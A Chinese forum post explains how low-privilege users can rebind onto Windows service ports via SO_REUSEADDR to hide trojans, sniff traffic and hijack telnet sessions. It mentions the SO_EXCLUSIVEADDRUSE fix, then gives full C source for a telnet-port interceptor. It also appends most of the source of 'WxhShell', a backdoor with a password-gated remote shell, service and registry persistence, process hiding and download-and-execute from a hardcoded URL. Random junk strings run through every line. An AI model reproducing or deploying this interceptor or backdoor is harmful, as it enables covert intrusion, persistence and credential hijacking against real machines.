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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }2@Aj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5%`fh%  
=~qQ?;o n  
  saddr.sin_family = AF_INET; .x6c.Y.S  
#J4{W84B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W|C>X=zTi  
v2Lx4:dzi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l~_] k  
SQ$|s%)oB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gXrXVv<)yw  
qIXo_H&\C  
  这意味着什么?意味着可以进行如下的攻击: ,# i@jB  
x}\_o< d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 32#|BBY  
M`_RkDmy<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tf0"9  
H rMH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D7v-+jypp  
}bkQr)us  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vp"=8p#k  
1W@ C]n4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k 5~#_D>  
Q:nBx[%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0j@nOj(3  
#ZzFAt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W>^WNo3YQ$  
'+ %<\.$  
  #include G&2UXr3  
  #include q$#5>5&  
  #include |->P|1 P  
  #include    `Mg&s*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i\h"N K  
  int main() U"SH fI:  
  { ,}8|[)"  
  WORD wVersionRequested; )\xDo<@  
  DWORD ret; 06)B<  
  WSADATA wsaData; q4Rvr[  
  BOOL val; 1$+-?:i C  
  SOCKADDR_IN saddr; CP5vo-/)-  
  SOCKADDR_IN scaddr; x-hr64WFK  
  int err;  /y2)<{{I  
  SOCKET s; p'@| O q&  
  SOCKET sc; Y! 8 I  
  int caddsize; 3izGMH_`  
  HANDLE mt; sN"JVJXi  
  DWORD tid;   Ah_,5Z@&R  
  wVersionRequested = MAKEWORD( 2, 2 ); 9i^dQV.U=  
  err = WSAStartup( wVersionRequested, &wsaData ); v|]1x2191  
  if ( err != 0 ) { 7dg2-4  
  printf("error!WSAStartup failed!\n"); [unK5l4_!  
  return -1; QGC%, F"+  
  } Un~ }M/  
  saddr.sin_family = AF_INET; {Yt@H  
   \w6A-daD0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z30r|Ufh  
G8sxg&bf{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ygN4%-[XA  
  saddr.sin_port = htons(23); W UN|,P`b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \vKK q/f  
  { zw2qv'  
  printf("error!socket failed!\n"); L lNd97Z  
  return -1; Tgf\f%,h  
  } `l%)0)T  
  val = TRUE; F"G]afI9+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g`n5-D@3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) < 2 mbR  
  { K[j~htC{I"  
  printf("error!setsockopt failed!\n"); ktEdbALK  
  return -1; @7}]\}SR  
  } [?QU'[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jV)4+D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yJ0q)x sS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J*%XtRio  
8.Z9 i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;z Qrree#  
  { o@5zf{-  
  ret=GetLastError(); j0X Jf<  
  printf("error!bind failed!\n"); u#Z#NP ~F0  
  return -1; Z<Rhn  
  } u`ezQvrcy  
  listen(s,2); o*r 2T4 8  
  while(1) "/#=8_f  
  { .)Wqo7/Gx  
  caddsize = sizeof(scaddr); .%x1%TN  
  //接受连接请求 W Z_yaG$U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &{gD(QG  
  if(sc!=INVALID_SOCKET) l(B(gPvU  
  { ab@1JAgs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VhfM j|  
  if(mt==NULL) o`{@':%D`  
  { ?as1^~  
  printf("Thread Creat Failed!\n"); U3-cH  
  break; CGp7 Tx#  
  } V_Xq&!HN[  
  } ?l/$cO  
  CloseHandle(mt); X+$IaLfCxD  
  } ~BbF:DS  
  closesocket(s); y~r5KB6w  
  WSACleanup(); d#W>"Cqxqa  
  return 0; wG-lR,glb  
  }   S^z t>  
  DWORD WINAPI ClientThread(LPVOID lpParam) p~evPTHnrX  
  { K|ZB!oq  
  SOCKET ss = (SOCKET)lpParam; xIb"8,N  
  SOCKET sc; ->u}b?aF  
  unsigned char buf[4096]; cH7Gb|,M  
  SOCKADDR_IN saddr;  yh'uH  
  long num; G.B~n>}JU,  
  DWORD val; Mr}K-C?ge  
  DWORD ret; DKG99biJN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b" PRa|]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7`pK=E}+  
  saddr.sin_family = AF_INET; =[D '3JB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7jzd I!  
  saddr.sin_port = htons(23); P2t9RCH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )J>-;EYb8  
  { 9e _8Z@|  
  printf("error!socket failed!\n");  Qk)E:  
  return -1; aS3Fvk0R{h  
  } 1Y6DzWI  
  val = 100; |ZmWhkOX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IwZe2$f  
  { $:u5XJx  
  ret = GetLastError(); <fm<UO,%  
  return -1; 5<RZ ht$i  
  } Fu$JI8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) huTWoMU  
  { n]< >$  
  ret = GetLastError(); ibqJ'@{=e  
  return -1; 1$toowb"Zy  
  } :H8`z8=0f{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2t3DQ  
  { (kFg2kG  
  printf("error!socket connect failed!\n"); {+N7o7  
  closesocket(sc); z:JQ3D7/we  
  closesocket(ss); i9=*ls^Cx  
  return -1; n%&+yg   
  } )Zbrg~-@  
  while(1) =K8z8K?  
  { 3qVDHDQ?ZV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rsPo~nA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?rSm6V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6)#=@i` \  
  num = recv(ss,buf,4096,0); [6}>?  
  if(num>0) DRy,n)U&  
  send(sc,buf,num,0);  jT$  
  else if(num==0) ,+U,(P5>s  
  break; CGCI3Z'  
  num = recv(sc,buf,4096,0); Gi 7p`F.  
  if(num>0) LO@='}D=  
  send(ss,buf,num,0); ,5Nf9z!hk(  
  else if(num==0) P7|x=Ew;`  
  break; T*bBw  
  } T~G~M/  
  closesocket(ss); Ef"M e(  
  closesocket(sc); /s|4aro  
  return 0 ; LR:meCOI  
  } &Z%|H>+;T  
tjWf`#tH>H  
Uf`~0=w  
========================================================== 4cQ|"sOzD  
]R%+  
下边附上一个代码,,WXhSHELL Re]7G.y  
y=q iGi[Nc  
========================================================== dOx0'q"Z  
/^9KZj  
#include "stdafx.h" ?_BK(kL_  
yRtxh_wr9  
#include <stdio.h> [7sy}UH  
#include <string.h> T^1]|P  
#include <windows.h> 1J?x2  
#include <winsock2.h> 90[?)s  
#include <winsvc.h> & G8tb>q<V  
#include <urlmon.h> #Ks2a):8  
=1e>$E#  
#pragma comment (lib, "Ws2_32.lib") Y-y<gW  
#pragma comment (lib, "urlmon.lib") 9yWQ}h  
R\ZyS )~l  
#define MAX_USER   100 // 最大客户端连接数 _I A{I  
#define BUF_SOCK   200 // sock buffer gzd)7np B2  
#define KEY_BUFF   255 // 输入 buffer W"&Y7("y  
ITr@;@}c]  
#define REBOOT     0   // 重启 vq;_x  
#define SHUTDOWN   1   // 关机 ^wTod\y  
$*N)\>~X  
#define DEF_PORT   5000 // 监听端口 )|Xi:Zd5>  
;Q8LA",5d  
#define REG_LEN     16   // 注册表键长度 FNgC TO%  
#define SVC_LEN     80   // NT服务名长度 ,5J}Wo?Q}  
@p$$BUb  
// 从dll定义API v#`7,::  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nAY'1!Oi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l 4e`-7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M~"93Q`f^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ? ht;ZP  
1_V',0|`>  
// wxhshell配置信息 :I/i"g7<  
struct WSCFG { U%T{~f  
  int ws_port;         // 监听端口 bS"zp6Di  
  char ws_passstr[REG_LEN]; // 口令 ~Jlo>  
  int ws_autoins;       // 安装标记, 1=yes 0=no kHx6]<  
  char ws_regname[REG_LEN]; // 注册表键名 S{7 R6,B5  
  char ws_svcname[REG_LEN]; // 服务名 ,o68xfdZVW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [_w;=l0 ;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S*9qpes-m|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qdY*y&}"J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n"dYN3dE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RM `zxFn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dVe  
45H(.}&f  
}; *r|)@K|  
YfZ96C[a  
// default Wxhshell configuration OHyBNJ  
struct WSCFG wscfg={DEF_PORT, ^!yJ;'H\  
    "xuhuanlingzhe", ai@hQJ*  
    1, l?J|Ip2W  
    "Wxhshell", WIkr0k  
    "Wxhshell", wN^$8m5\T^  
            "WxhShell Service", V+- ]txu|  
    "Wrsky Windows CmdShell Service", ON q=bI*  
    "Please Input Your Password: ", *Iir/6myM  
  1, Aat-938FP6  
  "http://www.wrsky.com/wxhshell.exe", #s]'2O  
  "Wxhshell.exe" VY]L<4BfGL  
    }; %K7wScz7  
X$(Dem  
// 消息定义模块 D5gDVulsh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w</qUOx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,p7W4;?4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4y|%Oj  
char *msg_ws_ext="\n\rExit."; w$%1j+%&  
char *msg_ws_end="\n\rQuit."; Ks_B%d  
char *msg_ws_boot="\n\rReboot..."; +204.Yj?D  
char *msg_ws_poff="\n\rShutdown..."; M,(UCyT  
char *msg_ws_down="\n\rSave to "; V<W$ h`  
nr>Os@\BU  
char *msg_ws_err="\n\rErr!"; -FrNk>  
char *msg_ws_ok="\n\rOK!"; 3,[#%}1(S  
2B`#c}PP  
char ExeFile[MAX_PATH]; l0GsY.~,  
int nUser = 0; :$5$H  
HANDLE handles[MAX_USER]; =&YhA}l\O  
int OsIsNt; .sE5QRVc  
WO<a^g {  
SERVICE_STATUS       serviceStatus; SdM@7%UK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 71(C@/J  
Z(0sMOaX  
// 函数声明 GiGXV @dq  
int Install(void); zEN3N n.8  
int Uninstall(void); w(-h!d51+  
int DownloadFile(char *sURL, SOCKET wsh); 7v{s?h->$  
int Boot(int flag); qr|v|Ejd~  
void HideProc(void); t~(|2nTO5  
int GetOsVer(void); 0kOl,%Ey  
int Wxhshell(SOCKET wsl); !,z ==Qp|v  
void TalkWithClient(void *cs); N,F$^ q6  
int CmdShell(SOCKET sock); s%xhT  
int StartFromService(void); e_Un:r@)  
int StartWxhshell(LPSTR lpCmdLine); 6L4<c+v_  
B?pNF+?'z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T**v!Ls  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <yw(7  
K|^'`FpPO  
// 数据结构和表定义 Kg>ehn4S@  
SERVICE_TABLE_ENTRY DispatchTable[] = 6Qh@lro;y  
{ U,e'vS{  
{wscfg.ws_svcname, NTServiceMain}, N:nhS3N<L  
{NULL, NULL} $7 FT0?kG  
}; I2G:jMPy  
4te QG  
// 自我安装 bWEti}kW  
int Install(void) e|2@z-Sp-  
{ RP|/rd]-k  
  char svExeFile[MAX_PATH]; :y%CP8  
  HKEY key; io{\+%;b~  
  strcpy(svExeFile,ExeFile); [ :*Jn}  
3d81]!n  
// 如果是win9x系统,修改注册表设为自启动 6xq/  
if(!OsIsNt) { 4/:}K>S_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vWpoaz/w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e$=UA%  
  RegCloseKey(key); H)VzPe#{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BfUM+RC%5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uS}qy-8J  
  RegCloseKey(key); @})]4H  
  return 0; L$rMfe S  
    } ]R?{9H|jwE  
  } glo Y@k~  
} (]gd$BgD  
else { :+*q,lX8  
TVs#,  
// 如果是NT以上系统,安装为系统服务 }XcYIo#+t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T_3JAH e  
if (schSCManager!=0) YRRsbm{  
{ {a6cA=WTPd  
  SC_HANDLE schService = CreateService '"Z\8;5i  
  ( %3;vDB*L$  
  schSCManager, O}w"@gO@.  
  wscfg.ws_svcname, BWG*UjP M  
  wscfg.ws_svcdisp, vA"MTncv  
  SERVICE_ALL_ACCESS, D6L5X/#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K}e:zR;;^  
  SERVICE_AUTO_START, X" m0||  
  SERVICE_ERROR_NORMAL, vj,OX~|  
  svExeFile, *3Qwmom  
  NULL, LfsqtQ=J`  
  NULL, mtd ,m  
  NULL, pEp`Z,p  
  NULL, IMcuoQ5  
  NULL R&MdwTa  
  ); 56`Tna,t  
  if (schService!=0) rK@XC +`S  
  { Vz @2_k   
  CloseServiceHandle(schService); ~4^~w#R  
  CloseServiceHandle(schSCManager); n> tru L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [~&yLccN  
  strcat(svExeFile,wscfg.ws_svcname); vOQ 3A%/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1=U NA :t<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 68 \73L=  
  RegCloseKey(key); 8gn12._x  
  return 0; d.3cd40Q  
    } @]F1J  
  } l.nd Wv  
  CloseServiceHandle(schSCManager); o7i>D6^^  
} :f_fp(T  
} xmXuBp:M(R  
w _ONy9  
return 1; 19j"Zxdg Y  
} xm$-:N0q  
}huFv*<@'  
// 自我卸载 {'@`: p&3r  
int Uninstall(void) a2%xW_e  
{ Swr 8  
  HKEY key; *'to#_n&W  
``:+*4e9  
if(!OsIsNt) { kWMz;{I5*w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7U647G(Sg  
  RegDeleteValue(key,wscfg.ws_regname); `p'682xI  
  RegCloseKey(key); +S6(Fvp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;lP/hG;`  
  RegDeleteValue(key,wscfg.ws_regname); bGtS! 'I  
  RegCloseKey(key); X 7R&>Pf  
  return 0; *YO^+]nmY  
  } sD ,=_q@  
} gzd<D}2F~  
} Kg6[  
else { e%_J O7  
f1w_Cl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f>hA+  
if (schSCManager!=0) *hvC0U@3  
{ d+o.J",E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C2}f'  
  if (schService!=0) /N9ct4 {^  
  { W\Df:P {<  
  if(DeleteService(schService)!=0) { E! GH$%:;  
  CloseServiceHandle(schService); c4V%>A  
  CloseServiceHandle(schSCManager); iz%wozf  
  return 0; cXod43  
  } L+.&e4f'oj  
  CloseServiceHandle(schService); E< Y!BT[X  
  } q>rDxmP<  
  CloseServiceHandle(schSCManager); 6m%#cP (6K  
} ? FlQ\q  
} |}><)}  
Zk] /m  
return 1; :i9=Wj  
} H!P$p-*.  
?>s[B7wMp  
// 从指定url下载文件 SceK$  
int DownloadFile(char *sURL, SOCKET wsh) b[KZJLZ)  
{ ,n3e8qd  
  HRESULT hr; e);`hNLih  
char seps[]= "/"; Z^!% b  
char *token; Fs(FI\^  
char *file; 0fzHEL  
char myURL[MAX_PATH]; y|/[;  
char myFILE[MAX_PATH]; 1I?`3N  
\,S4-~(:!  
strcpy(myURL,sURL); ?[<#>,W  
  token=strtok(myURL,seps); yu>)[|-  
  while(token!=NULL) oJ?,X^~_  
  { < Dt/JA(p  
    file=token; GIZw/L7Yb  
  token=strtok(NULL,seps); Ge7Uety  
  } Nsn~mY%  
cq0-D d9^&  
GetCurrentDirectory(MAX_PATH,myFILE); ryNe=9p  
strcat(myFILE, "\\"); v>0I=ut  
strcat(myFILE, file); p""\uG'  
  send(wsh,myFILE,strlen(myFILE),0); +"1fr  
send(wsh,"...",3,0); .XT]\'vW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -v! ;  
  if(hr==S_OK) Ye S5%?Fk  
return 0; C#LTF-$])  
else R} X"di  
return 1; \`;1[m  
;,/4Ry22j-  
} ;pj,U!{%s\  
@jCMQYR  
// 系统电源模块 zygH-3C7o  
int Boot(int flag) f?$yxMw:@  
{ 9ZNzC i!  
  HANDLE hToken; hof>:Rk  
  TOKEN_PRIVILEGES tkp; ~)pso7^:  
[,3E#+y  
  if(OsIsNt) { q|V|Jl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {)(Mkm +d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Re+oCJ  
    tkp.PrivilegeCount = 1; ,_ TE@ ]!$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 2#@Y-5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L*OG2liJ  
if(flag==REBOOT) { bFhZSk )  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "U!Vdt2vp  
  return 0; =~k}XB  
} #(QS5J&Qq  
else { +Sc2'z>R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pg Q^w0BQV  
  return 0; ^5Zka!'X2Z  
} . '>d7  
  } zs6rd83#  
  else { x_t$*  
if(flag==REBOOT) { ^ WF_IH&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aJ@lT&.  
  return 0; fr'DV/T  
} $xCJ5M4  
else { %(|-+cLW+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X .sOZb?$  
  return 0; g&{CEfw&  
} SAiaC _  
} Vqcw2  
* mH&Gn1  
return 1; |ZC'a!  
} T% GR{mp  
<Sr:pm  
// win9x进程隐藏模块 B}nT>Ub  
void HideProc(void) &dPUd ~&EL  
{ LP !d|X  
- (7oFOtg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m%'T90mi  
  if ( hKernel != NULL ) :|8!w  
  { 3xN_z?Rg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !1%Sf.`!_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I5)$M{#a  
    FreeLibrary(hKernel); B" _Xst  
  } '14 86q@[$  
v,Zoy|Lu  
return; [kTckZv  
} nch#DE8 2  
Khl0~  
// 获取操作系统版本 6q8PLyIp  
int GetOsVer(void) r9*6=*J|  
{ 65nK1W`i  
  OSVERSIONINFO winfo; g6+5uvpd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F("|SOhc  
  GetVersionEx(&winfo); Ls+vWfF=#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ej7L-~lxQ  
  return 1; zKI1  
  else n1aOpz6`  
  return 0; dd6%3L{cn  
} | #b/EA9  
qQIX:HWDKZ  
// 客户端句柄模块 8)M WC:  
int Wxhshell(SOCKET wsl) !@*= b1  
{ {6%-/$LX  
  SOCKET wsh; scTt53v^  
  struct sockaddr_in client; kGL3*x  
  DWORD myID; Z +O< IF%  
<EdNF&S-  
  while(nUser<MAX_USER) w+Gav4  
{ 2R ^6L@fw  
  int nSize=sizeof(client); _0ZU I^#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k)[c!\a[i  
  if(wsh==INVALID_SOCKET) return 1; R<vbhB/lU  
Bz|/TV?X(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  3bJ|L3G  
if(handles[nUser]==0) I-=Ieq"R9  
  closesocket(wsh); _k;HhLj`  
else 2G<XA  
  nUser++; Sn^M[}we  
  } t BG 9Mn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x6$3 KDQm  
8F'm#0  
  return 0; X4!Jj *  
} ` @lNt}  
:6Tv4ZUvcG  
// 关闭 socket &;`E3$>  
void CloseIt(SOCKET wsh) u.*}'C>^^v  
{ ZD7qw*3+  
closesocket(wsh); KV-h~C  
nUser--; OT$++cj^  
ExitThread(0); \KS.A 4  
} qq_ZkU@xg  
CJDNS21m  
// 客户端请求句柄 HIt9W]koO  
void TalkWithClient(void *cs) o9yUJ@ :i  
{ ~w9`l8/0  
LPZ\T} <l  
  SOCKET wsh=(SOCKET)cs; =6f)sZpPh  
  char pwd[SVC_LEN]; 6__HqBQ  
  char cmd[KEY_BUFF]; ^t*Ba>A  
char chr[1]; 1*'gaa&y  
int i,j; !N_eZPU.v  
US"UkY-\  
  while (nUser < MAX_USER) { Pp_? z0M  
Ra6}<o  
if(wscfg.ws_passstr) { rZ)7(0BBs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )D)4=LJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {t.S_|IE  
  //ZeroMemory(pwd,KEY_BUFF); (uy\~Zb  
      i=0; A0,e3gb  
  while(i<SVC_LEN) { _ b</ ::Tp  
XX "3.zW  
  // 设置超时 Sqyju3Yp  
  fd_set FdRead; Eau V  
  struct timeval TimeOut; Z6Z/Y()4Tl  
  FD_ZERO(&FdRead); xP;>p| M  
  FD_SET(wsh,&FdRead); C N}0( 2n  
  TimeOut.tv_sec=8; ?A24h !7  
  TimeOut.tv_usec=0; F\ GNLi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y*O Bky  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B52dZb  
d0f(Uk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L@_o*"&j  
  pwd=chr[0]; GXNkl?#  
  if(chr[0]==0xd || chr[0]==0xa) { *~*"p)`<  
  pwd=0; |5&7;;$  
  break; tfh`gUV 4  
  } 8rFP*K9  
  i++; }n#$p{e$i  
    } =Zsxl]h   
l<<9H-O  
  // 如果是非法用户,关闭 socket /[ft{:#&t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z]LVq k  
} 0I do_V  
`2^(Ss# )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jxt]Z3a~0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CC'N"Xb  
N3a ]!4Y\  
while(1) { ~*+evAP  
cS2]?zI  
  ZeroMemory(cmd,KEY_BUFF); Ly R<cd$W  
A:(qF.Tm  
      // 自动支持客户端 telnet标准   QFoCi&  
  j=0; tA'5ufj*:  
  while(j<KEY_BUFF) { p,uM)LD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q`4I a<5B  
  cmd[j]=chr[0]; }W[=O:p  
  if(chr[0]==0xa || chr[0]==0xd) { h|i b*%P_  
  cmd[j]=0; 2R^Eea  
  break; 2+p XtP@O  
  } Z!jJ93A"  
  j++; Ke]'RfO\  
    } ,^<39ng  
^gNbcWc7CU  
  // 下载文件 +Jn\`4/J:  
  if(strstr(cmd,"http://")) { 0ia-D`^me  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v6E5#pse8  
  if(DownloadFile(cmd,wsh)) g:U -kK!i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yS[HYq  
  else tK'9%yA\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qSD3]Dv"  
  } B<$6Dj%L  
  else { -%K}~4J  
&%k_BdlkQ  
    switch(cmd[0]) { Y% @;\  
  L `=*Pwcj  
  // 帮助 ,JTyOBB<I  
  case '?': { A`>^A]%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {0AlQ6.@>  
    break; d>c`hQ(V  
  } [a}Idi` K  
  // 安装 F[0~{*/|G  
  case 'i': { _F^NX%  
    if(Install()) +&J1D8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m5HMtoU  
    else kGakdLl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S&k/Pc  
    break; oYJ<.Yxeb  
    } cf*~G x_l  
  // 卸载 JS<w43/j  
  case 'r': { Ad>@8^  
    if(Uninstall()) $?VYHkX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgM\6e  
    else QA)"3g   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nrXKS&6  
    break; "GJ.`Hj  
    } D5].^*AbZ  
  // 显示 wxhshell 所在路径 ~XvMiWuo  
  case 'p': { "-AFWWKtx  
    char svExeFile[MAX_PATH]; 1|>bG#|  
    strcpy(svExeFile,"\n\r"); Y`6<:8[?  
      strcat(svExeFile,ExeFile); Gc5mR9pV   
        send(wsh,svExeFile,strlen(svExeFile),0); g?Rq .py]!  
    break; MU:v& sk  
    } h gwS_L  
  // 重启 HW'I$ .  
  case 'b': { ' dv(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 98 uMD  
    if(Boot(REBOOT)) w_LkS/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G?",,&dM  
    else { CWB<I  
    closesocket(wsh); _G/uDP%  
    ExitThread(0); +@7c:CAy(  
    } B)0;gWK  
    break; ,W/Y@ScC  
    } +#A~O4%t  
  // 关机 Q7UQwAN'  
